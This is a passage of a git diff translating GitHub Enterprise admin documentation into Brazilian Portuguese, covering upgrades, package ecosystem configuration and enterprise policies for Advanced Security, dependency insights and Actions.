+- Fazer alterações no {% data variables.enterprise.management_console %}. Para obter mais informações, consulte "[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)."
+- Configurar a sincronização LDAP. Para obter mais informações, consulte "[LDAP](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#admin-stats)".{% endif %}
+- Colete estatísticas sobre sua empresa. Para obter mais informações, consulte " As[Estatísticas de Administrador](/rest/reference/enterprise-admin#admin-stats)".
+- Gerenciar sua conta corporativa. Para obter mais informações, consulte "[Contas corporativas](/graphql/guides/managing-enterprise-accounts)".
 
-For the complete documentation for {% data variables.product.prodname_enterprise_api %}, see [{% data variables.product.prodname_dotcom %} REST API](/rest) and [{% data variables.product.prodname_dotcom%} GraphQL API](/graphql). 
+Para a documentação completa sobre {% data variables.product.prodname_enterprise_api %}, consulte [{% data variables.product.prodname_dotcom %} API REST](/rest) e [{% data variables.product.prodname_dotcom%} API do GraphQL](/graphql). 
diff --git a/translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md b/translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md
index 4e4de2165b..f361db00ae 100644
--- a/translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md
+++ b/translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md
@@ -1,7 +1,7 @@
 ---
-title: About upgrades to new releases
-shortTitle: About upgrades
-intro: '{% ifversion ghae %}Your enterprise on {% data variables.product.product_name %} is updated with the latest features and bug fixes on a regular basis by {% data variables.product.company_short %}.{% else %}You can benefit from new features and bug fixes for {% data variables.product.product_name %} by upgrading your enterprise to a newly released version.{% endif %}'
+title: Sobre atualizações para novas versões
+shortTitle: Sobre as atualizações
+intro: '{% ifversion ghae %}A sua empresa em {% data variables.product.product_name %} é atualizada com as últimas funcionalidades e correções de erros regularmente por {% data variables.product.company_short %}.{% else %}Você pode beneficiar-se de novas funcionalidades e correções de erros para {% data variables.product.product_name %} atualizando a sua empresa para uma versão recém-lançada.{% endif %}'
 versions:
   ghes: '*'
   ghae: '*'
@@ -10,40 +10,41 @@ topics:
   - Enterprise
   - Upgrades
 ---
+
 {% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %}
 
-{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} is a fully managed service, so {% data variables.product.company_short %} completes the upgrade process for your enterprise.{% endif %}
+{% data variables.product.product_name %} está constantemente melhorando, com novas funcionalidades e correções de erros introduzidas por meio de de recursos e versões de patch. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} é um serviço totalmente gerenciado. Portanto, {% data variables.product.company_short %} conclui o processo de atualização da sua empresa.{% endif %}
 
-Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. You will be given advance notice of any planned downtime for your enterprise.{% endif %}
+As versões do recurso incluem novas funcionalidades e atualizações de recursos e, normalmente, ocorrem a cada trimestre. {% ifversion ghae %}{% data variables.product.company_short %} irá atualizar sua empresa para a versão mais recente do recurso. Você será avisado antecipadamente de qualquer período de inatividade planejado para sua empresa.{% endif %}
 
 {% ifversion ghes %}
 
-Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. There may be bugs or issues in a release candidate which can only be found through feedback from customers actually using {% data variables.product.product_name %}. 
+Começando com {% data variables.product.prodname_ghe_server %} 3.0, todas as versões de recurso começam com pelo menos um candidato de versão. Os candidatos de verão são as versões de recurso, com um conjunto completo de recursos. Pode haver erros ou problemas em um candidato de versão que só podem ser encontrados por meio do feedback de clientes que usam {% data variables.product.product_name %}.
 
-You can get early access to the latest features by testing a release candidate as soon as the release candidate is available. You can upgrade to a release candidate from a supported version and can upgrade from the release candidate to later versions when released. You should upgrade any environment running a release candidate as soon as the release is generally available. For more information, see "[Upgrade requirements](/admin/enterprise-management/upgrade-requirements)."
+Você pode ter acesso rápido às últimas funcionalidades testando um candidato de versão assim que este estiver disponível. Você pode atualizar para um candidato de versão a partir de uma versão compatível e pode atualizar do candidato de versão para versões posteriores quando lançado. Você deve atualizar qualquer ambiente executando um candidato de versão assim que a versão estiver geralmente disponível. Para obter mais informações, consulte "[Requisitos de atualização](/admin/enterprise-management/upgrade-requirements)".
 
-Release candidates should be deployed on test or staging environments. As you test a release candidate, please provide feedback by contacting support. For more information, see "[Working with {% data variables.contact.github_support %}](/admin/enterprise-support)."
+Os candidatos de versão devem ser implantados em ambientes de teste ou de preparação. Ao testar um candidato de versão, entre em contato com o suporte. Para obter mais informações, consulte "[Trabalhando com {% data variables.contact.github_support %}](/admin/enterprise-support)".
 
-We'll use your feedback to apply bug fixes and any other necessary changes to create a stable production release. Each new release candidate adds bug fixes for issues found in prior versions. When the release is ready for widespread adoption, {% data variables.product.company_short %} publishes a stable production release.
+Usaremos seus comentários para aplicar correções de erros e quaisquer outras alterações necessárias para criar uma versão de produção estável. Cada novo candidato de versão adiciona correções de erros para problemas encontrados em versões anteriores. Quando a versão estiver pronta para ser utilizada amplamente, {% data variables.product.company_short %} irá publicar uma versão de produção estável.
 
 {% endif %}
 
 {% warning %}
 
-**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. You can inform your users about downtime by publishing a global announcement banner, using your enterprise settings or the REST API. For more information, see "[Customizing user messages on your instance](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" and "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)."
+**Aviso**: A atualização para uma nova versão de recurso implicará algumas horas de inatividade, durante o qual nenhum dos seus usuários poderá usar a empresa. Você pode informar aos seus usuários sobre tempo de inatividade, publicando um banner de anúncio global, usando as configurações da sua empresa ou a API REST. Para obter mais informações, consulte "[Personalizar mensagens de usuário na sua instância](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" e "[ administração de {% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#announcements)".
 
 {% endwarning %}
 
 {% ifversion ghes %}
 
-Patch releases, which consist of hot patches and bug fixes only, happen more frequently. Patch releases are generally available when first released, with no release candidates. Upgrading to a patch release typically requires less than five minutes of downtime.
+Versões de Patch, que consistem apenas de patches e correções de erros acontecem com mais frequência. De modo geral, as versões de patch ficam disponíveis quando são lançadas pela primeira vez, sem candidatos de versões. Atualizar para uma versão de patch normalmente requer menos de cinco minutos de tempo de inatividade.
 
-To upgrade your enterprise to a new release, see "[Release notes](/enterprise-server/admin/release-notes)" and "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)." Because you can only upgrade from a feature release that's at most two releases behind, use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
+Para atualizar a sua empresa para uma nova versão, consulte "[Liberar notas](/enterprise-server/admin/release-notes)" e "[Atualizar {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server). Porque você só pode atualizar a partir de uma versão do recurso no máximo 2 versões antes ou usar [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) para encontrar o caminho de atualização da sua versão atual.
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the  `github/roadmap` repository{% ifversion ghae %}
-- [ {% data variables.product.prodname_ghe_managed %} release notes](/admin/release-notes)
+- [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) no repositório `github/roadmap` {% ifversion ghae %}
+- [ Observações da versão de {% data variables.product.prodname_ghe_managed %}](/admin/release-notes)
 {% endif %}
diff --git a/translations/pt-BR/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md b/translations/pt-BR/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
index 7ee3e6fde6..dca39207e3 100644
--- a/translations/pt-BR/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring package ecosystem support for your enterprise
-intro: 'You can configure {% data variables.product.prodname_registry %} for your enterprise by globally enabling or disabling individual package ecosystems on your enterprise, including Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. Learn about other configuration requirements to support specific package ecosystems.'
+title: Configurar o suporte ao ecossistema de pacote para sua empresa
+intro: 'Você pode configurar {% data variables.product.prodname_registry %} para a sua empresa habilitando ou desabilitando globalmente os ecossistemas de pacotes individuais na sua empresa, incluindo Docker, RubyGems, npm, Apache Maven, Gradle ou NuGet. Conheça outros requisitos de configuração para dar suporte aos ecossistemas de pacote específicos.'
 redirect_from:
   - /enterprise/admin/packages/configuring-packages-support-for-your-enterprise
   - /admin/packages/configuring-packages-support-for-your-enterprise
@@ -10,43 +10,44 @@ type: how_to
 topics:
   - Enterprise
   - Packages
-shortTitle: Configure package ecosystems
+shortTitle: Configurar os ecossistemas dos pacotes
 ---
 
 {% data reusables.package_registry.packages-ghes-release-stage %}
 
-## Enabling or disabling individual package ecosystems
+## Habilitar ou desabilitar os ecossistemas de cada pacote
 
-To prevent new packages from being uploaded, you can set an ecosystem you previously enabled to **Read-Only**, while still allowing existing packages to be downloaded.
+Para evitar que novos pacotes sejam carregados, você pode definir um ecossistema que você previamente habilitou como **Read-Only**, ao mesmo tempo que permite que pacotes existentes sejam baixados.
 
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_site_admin_settings.packages-tab %}
-1. Under "Ecosystem Toggles", for each package type, select **Enabled**, **Read-Only**, or **Disabled**.{% ifversion ghes > 3.1 %}
-  ![Ecosystem toggles](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %}
-  ![Ecosystem toggles](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %}
+1. Em "Alternância de ecossistema", para cada tipo de pacote, selecione **habilitado**, **somente leitura** ou **Desabilitado**.
+{% ifversion ghes > 3.1 %}
+  ![Alternância de ecossistemas](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %}
+![Ecosystem toggles](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %}
 {% data reusables.enterprise_management_console.save-settings %}
 
 {% ifversion ghes = 3.0 or ghes > 3.0 %}
-## Connecting to the official npm registry
+## Conectar ao registro oficial do npm
 
-If you've enabled npm packages on your enterprise and want to allow access to the official npm registry as well as the {% data variables.product.prodname_registry %} npm registry, then you must perform some additional configuration.
+Se você habilitou os pacotes do npm na sua empresa e deseja permitir acesso ao registro oficial do npm, bem como ao registro npm do {% data variables.product.prodname_registry %}, você deverá executar uma configuração adicional.
 
-{% data variables.product.prodname_registry %} uses a transparent proxy for network traffic that connects to the official npm registry at `registry.npmjs.com`. The proxy is enabled by default and cannot be disabled.
+{% data variables.product.prodname_registry %} usa um proxy transparente para o tráfego de rede que se conecta ao registro npm oficial em `registry.npmjs.com`. O proxy está habilitado por padrão e não pode ser desabilitado.
 
-To allow network connections to the npm registry, you will need to configure network ACLs that allow {% data variables.product.prodname_ghe_server %} to send HTTPS traffic to `registry.npmjs.com`  over port 443:
+Para permitir conexões de rede para o registro npm, você precisa configurar as ACLs de rede que permitem que {% data variables.product.prodname_ghe_server %} envie tráfego de HTTPS para o `registry.npmjs.com` por meio da porta 443:
 
-| Source | Destination | Port | Type |
-|---|---|---|---|
+| Fonte                                              | Destino              | Porta   | Tipo  |
+| -------------------------------------------------- | -------------------- | ------- | ----- |
 | {% data variables.product.prodname_ghe_server %} | `registry.npmjs.com` | TCP/443 | HTTPS |
 
-Note that connections to `registry.npmjs.com` traverse through the Cloudflare network, and subsequently do not connect to a single static IP address; instead, a connection is made to an IP address within the CIDR ranges listed here: https://www.cloudflare.com/ips/.
+Observe que as conexões com `registry.npmjs.com` atravessam a rede Cloudflare e, consequentemente, não se conectam a um único endereço IP estático; em vez disso, é feita uma conexão com um endereço IP dentro dos intervalos de CIDR listados aqui: https://www. loudflare.com/ips/.
 
-If you wish to enable npm upstream sources, select `Enabled` for `npm upstreaming`.
+Se você deseja habilitar fontes upstream do npm, selecione `habilitado` para `upstream do npm`.
 
 {% endif %}
 
-## Next steps
+## Próximas etapas
 
-As a next step, we recommend you check if you need to update or upload a TLS certificate for your packages host URL. For more information, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
+Como a próxima etapa, recomendamos que verifique se precisa atualizar ou carregar um certificado TLS para a URL do seu pacote de host. Para obter mais informações, consulte "[Primeiros passos com o GitHub Packages para sua empresa](/admin/packages/getting-started-with-github-packages-for-your-enterprise)".
diff --git a/translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md
index f1d277e45e..6ed43dad4d 100644
--- a/translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started with GitHub Packages for your enterprise
-shortTitle: Getting started with GitHub Packages
-intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.product.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.'
+title: Primeiros passos com o GitHub Packages para a sua empresa
+shortTitle: Primeiros passos com o GitHub Packages
+intro: 'Você pode começar a usar {% data variables.product.prodname_registry %} em {% data variables.product.product_location %} habilitando o recurso, configurando armazenamento de terceiros, configurando os ecossistemas que você deseja que sejam compatíveis e atualizando seu certificado TLS.'
 redirect_from:
   - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise
   - /admin/packages/enabling-github-packages-for-your-enterprise
@@ -16,31 +16,31 @@ topics:
 
 {% data reusables.package_registry.packages-cluster-support %}
 
-## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise
+## Passo 1: Verifique se {% data variables.product.prodname_registry %} está disponível para a sua empresa
 
-{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)."
-## Step 2: Enable {% data variables.product.prodname_registry %} and configure external storage
+{% data variables.product.prodname_registry %} está disponível em {% data variables.product.prodname_ghe_server %} 3.0 ou superior. Se você estiver usando uma versão anterior do {% data variables.product.prodname_ghe_server %}, você deverá fazer a atualização para usar {% data variables.product.prodname_registry %}. Para obter mais informações sobre a atualização da instância de {% data variables.product.prodname_ghe_server %}, consulte "[Sobre as atualizações para novas versões de](/admin/overview/about-upgrades-to-new-releases)."
+## Etapa 2: Habilite {% data variables.product.prodname_registry %} e configure o armazenamento externo
 
-{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages.
+{% data variables.product.prodname_registry %} em {% data variables.product.prodname_ghe_server %} usa armazenamento externo de blob para armazenar seus pacotes.
 
-After enabling {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider.
+Depois de habilitar {% data variables.product.prodname_registry %} para {% data variables.product.product_location %}, você deverá preparar seu bucket de armazenamento de terceiros. A quantidade de armazenamento necessária depende do seu uso de {% data variables.product.prodname_registry %}, e as diretrizes de configuração podem variar de acordo com o provedor de armazenamento.
 
-Supported external storage providers
+Provedores de armazenamento externos compatíveis
 - Amazon Web Services (AWS) S3 {% ifversion ghes %}
 - Azure Blob Storage {% endif %}
 - MinIO
 
-To enable {% data variables.product.prodname_registry %} and configure third-party storage, see:
-  - "[Enabling GitHub Packages with AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %}
-  - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %}
-  - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)"
+Para habilitar {% data variables.product.prodname_registry %} e configurar o armazenamento de terceiros, consulte:
+  - "[Habilitar o GitHub Packages com AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %}
+  - "[Habilitar o GitHub Packages com o Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %}
+  - "[Habilitar o GitHub Packages com o MinIO](/admin/packages/enabling-github-packages-with-minio)"
 
-## Step 3: Specify the package ecosystems to support on your instance
+## Etapa 3: Especifique os ecossistemas de pacote que serão compatíveis com a sua instância
 
-Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.product.product_location %}. Available options are Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet.  For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)."
+Escolha quais ecossistemas de pacote você gostaria de habilitar, desabilitar ou definir como somente leitura no seu {% data variables.product.product_location %}. As opções disponíveis são Docker, RubyGems, npm, Apache Maven, Gradle ou NuGet.  Para obter mais informações, consulte "[Configurar a compatibilidade com o ecossistema de pacote para a sua empresa](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)".
 
-## Step 4: Ensure you have a TLS certificate for your package host URL, if needed
+## Etapa 4: Certifique-se de ter um certificado TLS para a URL do seu pacote de hospedagem, se necessário
 
-If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Make sure each package host URL includes `https://`.
+Se o isolamento de subdomínio estiver habilitado para {% data variables.product.product_location %}, você deverá criar e fazer upload de um certificado TLS que permite a URL de host do pacote para cada ecossistema que você deseja usar, como `npm.HOSTNAME`. Certifique-se de que o host de cada pacote contém `https://`.
 
-  You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." For more information about uploading TLS certificates to {% data variables.product.product_name %}, see "[Configuring TLS](/enterprise/admin/configuration/configuring-tls)."
+  Você pode criar o certificado manualmente ou pode usar _Let's Encrypt_. Se você já usa _Let's Encrypt_, você deverá solicitar um novo certificado TLS depois de habilitar {% data variables.product.prodname_registry %}. Para obter mais informações sobre as URLs de host do pacote, consulte "[Habilitar o isolamento de subdomínio](/enterprise/admin/configuration/enabling-subdomain-isolation)". Para obter mais informações sobre o upload de certificados TLS para {% data variables.product.product_name %}, consulte "[Configurar TLS](/enterprise/admin/configuration/configuring-tls)".
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md
index 889ee49ed7..7a09bd66e7 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Enforcing policies for Advanced Security in your enterprise
-intro: 'You can enforce policies to manage {% data variables.product.prodname_GH_advanced_security %} features within your enterprise''s organizations, or allow policies to be set in each organization.'
+title: Aplicar políticas de Segurança Avançada na sua empresa
+intro: 'Você pode exigir políticas para gerenciar as funcionalidades de {% data variables.product.prodname_GH_advanced_security %} dentro das organizações de sua empresa ou permitir que as políticas sejam definidas em cada organização.'
 permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_GH_advanced_security %} in an enterprise.'
 product: '{% data reusables.gated-features.ghas %}'
 versions:
@@ -19,16 +19,16 @@ redirect_from:
   - /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise
   - /github/setting-up-and-managing-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-policies-for-advanced-security-in-your-enterprise-account
-shortTitle: Advanced Security policies
+shortTitle: Políticas de segurança avançadas
 ---
 
-## About policies for {% data variables.product.prodname_GH_advanced_security %} in your enterprise
+## Sobre as políticas para {% data variables.product.prodname_GH_advanced_security %} na sua empresa
 
-{% data reusables.advanced-security.ghas-helps-developers %} For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."
+{% data reusables.advanced-security.ghas-helps-developers %} Para obter mais informações, consulte "[Sobre o {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security).
 
-{% ifversion ghes or ghec %}If you purchase a license for {% data variables.product.prodname_GH_advanced_security %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_advanced_security %} features. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_advanced_security %}.
+{% ifversion ghes or ghec %}Se você comprar uma licença para {% data variables.product.prodname_GH_advanced_security %}, qualquer{% else %}Qualquer organização de{% endif %} em {% data variables.product.product_location %} pode usar funcionalidades de {% data variables.product.prodname_advanced_security %}. Você pode aplicar políticas para controlar como os integrantes da sua empresa em {% data variables.product.product_name %} usam {% data variables.product.prodname_advanced_security %}.
 
-## Enforcing a policy for the use of {% data variables.product.prodname_GH_advanced_security %} in your enterprise
+## Aplicando uma política para o uso de {% data variables.product.prodname_GH_advanced_security %} na sua empresa
 
 {% data reusables.advanced-security.about-ghas-organization-policy %}
 
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
index 3756eb9670..74881d7dc4 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
@@ -1,8 +1,7 @@
 ---
-title: Enforcing policies for dependency insights in your enterprise
-intro: 'You can enforce policies for dependency insights within your enterprise''s organizations, or allow policies to be set in each organization.'
+title: Aplicando políticas para insights de dependência na sua empresa
+intro: Você pode aplicar políticas de ingiths de dependência nas organizações da sua empresa ou permitir que as políticas sejam definidas em cada organização.
 permissions: Enterprise owners can enforce policies for dependency insights in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-a-policy-on-dependency-insights
   - /articles/enforcing-a-policy-on-dependency-insights-in-your-enterprise-account
@@ -17,21 +16,19 @@ topics:
   - Enterprise
   - Organizations
   - Policies
-shortTitle: Policies for dependency insights
+shortTitle: Políticas para insights de dependência
 ---
 
-## About policies for dependency insights in your enterprise
+## Sobre políticas de insights de dependência na sua empresa
 
-Dependency insights show all packages that repositories within your enterprise's organizations depend on. Dependency insights include aggregated information about security advisories and licenses. For more information, see "[Viewing insights for your organization](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)."
+Os insights de dependência mostram todos os pacotes dos quais os repositórios nas organizações da sua empresa dependem. Os insights de dependência incluem informações agregadas sobre consultorias de segurança e licenças. Para obter mais informações, consulte "[Visualizar os insights para a sua organização](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)".
 
-## Enforcing a policy for visibility of dependency insights
+## Aplicando uma política de visibilidade de insights de dependência
 
-Across all organizations owned by your enterprise, you can control whether organization members can view dependency insights. You can also allow owners to administer the setting on the organization level. For more information, see "[Changing the visibility of your organization's dependency insights](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)."
+Em todas as organizações pertencentes à sua empresa, é possível controlar se os integrantes da organização podem ver os insights de dependência. Você também pode permitir que proprietários administrem a configuração no nível da organização. Para obter mais informações, consulte "[Alterar a visibilidade dos insights de dependência da organização](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. In the left sidebar, click **Organizations**.
-  ![Organizations tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-policies-org-tab.png)
-4. Under "Organization policies", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Organization policies", use the drop-down menu and choose a policy.
-  ![Drop-down menu with organization policies options](/assets/images/help/business-accounts/organization-policy-drop-down.png)
+3. Na barra lateral esquerda, clique em **Organizações**. ![Aba Organizações na barra lateral da empresa](/assets/images/help/business-accounts/settings-policies-org-tab.png)
+4. Em "Organization policies" (Políticas da organização), revise as informações sobre como alterar a configuração. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. Em "Organization policies" (Políticas da organização), use o menu suspenso e escolha uma política. ![Menu suspenso com opções de políticas da organização](/assets/images/help/business-accounts/organization-policy-drop-down.png)
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
index 246bc09758..9c8e40059f 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Enforcing policies for GitHub Actions in your enterprise
-intro: 'You can enforce policies for {% data variables.product.prodname_actions %} within your enterprise''s organizations, or allow policies to be set in each organization.'
+title: Aplicando políticas para o GitHub Actions na sua empresa
+intro: 'Você pode exigir políticas para {% data variables.product.prodname_actions %} dentro das organizações de sua empresa ou permitir que as políticas sejam definidas em cada organização.'
 permissions: 'Enterprise owners can enforce policies for {% data variables.product.prodname_actions %} in an enterprise.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -22,49 +22,49 @@ topics:
   - Actions
   - Enterprise
   - Policies
-shortTitle: GitHub Actions policies
+shortTitle: Políticas do GitHub Actions
 ---
 
 {% data reusables.actions.enterprise-beta %}
 
-## About policies for {% data variables.product.prodname_actions %} in your enterprise
+## Sobre as políticas para {% data variables.product.prodname_actions %} na sua empresa
 
-{% data variables.product.prodname_actions %} helps members of your enterprise automate software development workflows on {% data variables.product.product_name %}. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)."
+{% data variables.product.prodname_actions %} ajuda os inetgrantes da sua empresa a automatizar os fluxos de trabalho de desenvolvimento de software em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Entendendo {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)".
 
-{% ifversion ghes %}If you enable {% data variables.product.prodname_actions %}, any{% else %}Any{% endif %} organization on {% data variables.product.product_location %} can use {% data variables.product.prodname_actions %}. You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} use {% data variables.product.prodname_actions %}. By default, organization owners can manage how members use {% data variables.product.prodname_actions %}. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)."
+{% ifversion ghes %}Se você habilitar {% data variables.product.prodname_actions %}, qualquer{% else %}Qualquer{% endif %} organização em {% data variables.product.product_location %} poderá usar {% data variables.product.prodname_actions %}. Você pode aplicar políticas para controlar como os integrantes da sua empresa em {% data variables.product.product_name %} usam {% data variables.product.prodname_actions %}. Por padrão, os proprietários da organização podem gerenciar como os integrantes usam {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Desabilitando ou limitando {% data variables.product.prodname_actions %} para a sua organização](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)".
 
-## Enforcing a policy to restrict the use of actions in your enterprise
+## Aplicando uma política para restringir o uso de ações na sua empresa
 
-You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions, so that people can only use local actions that exist in your enterprise.
+Você pode optar por desativar {% data variables.product.prodname_actions %} para todas as organizações da sua empresa ou permitir apenas organizações específicas. Você também pode limitar o uso de ações públicas, de modo que as pessoas só possam usar ações locais que existem na sua empresa.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.actions.enterprise-actions-permissions %}
-1. Click **Save**.
+1. Clique em **Salvar**.
 
 {% ifversion ghec or ghes or ghae %}
 
-### Allowing select actions to run
+### Permitir selecionar ações para executar
 
 {% data reusables.actions.allow-specific-actions-intro %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
-1. Under **Policies**, select **Allow select actions** and add your required actions to the list.
+1. Em **Políticas**, selecione **Permitir ações específicas** e adicione as suas ações necessárias à lista.
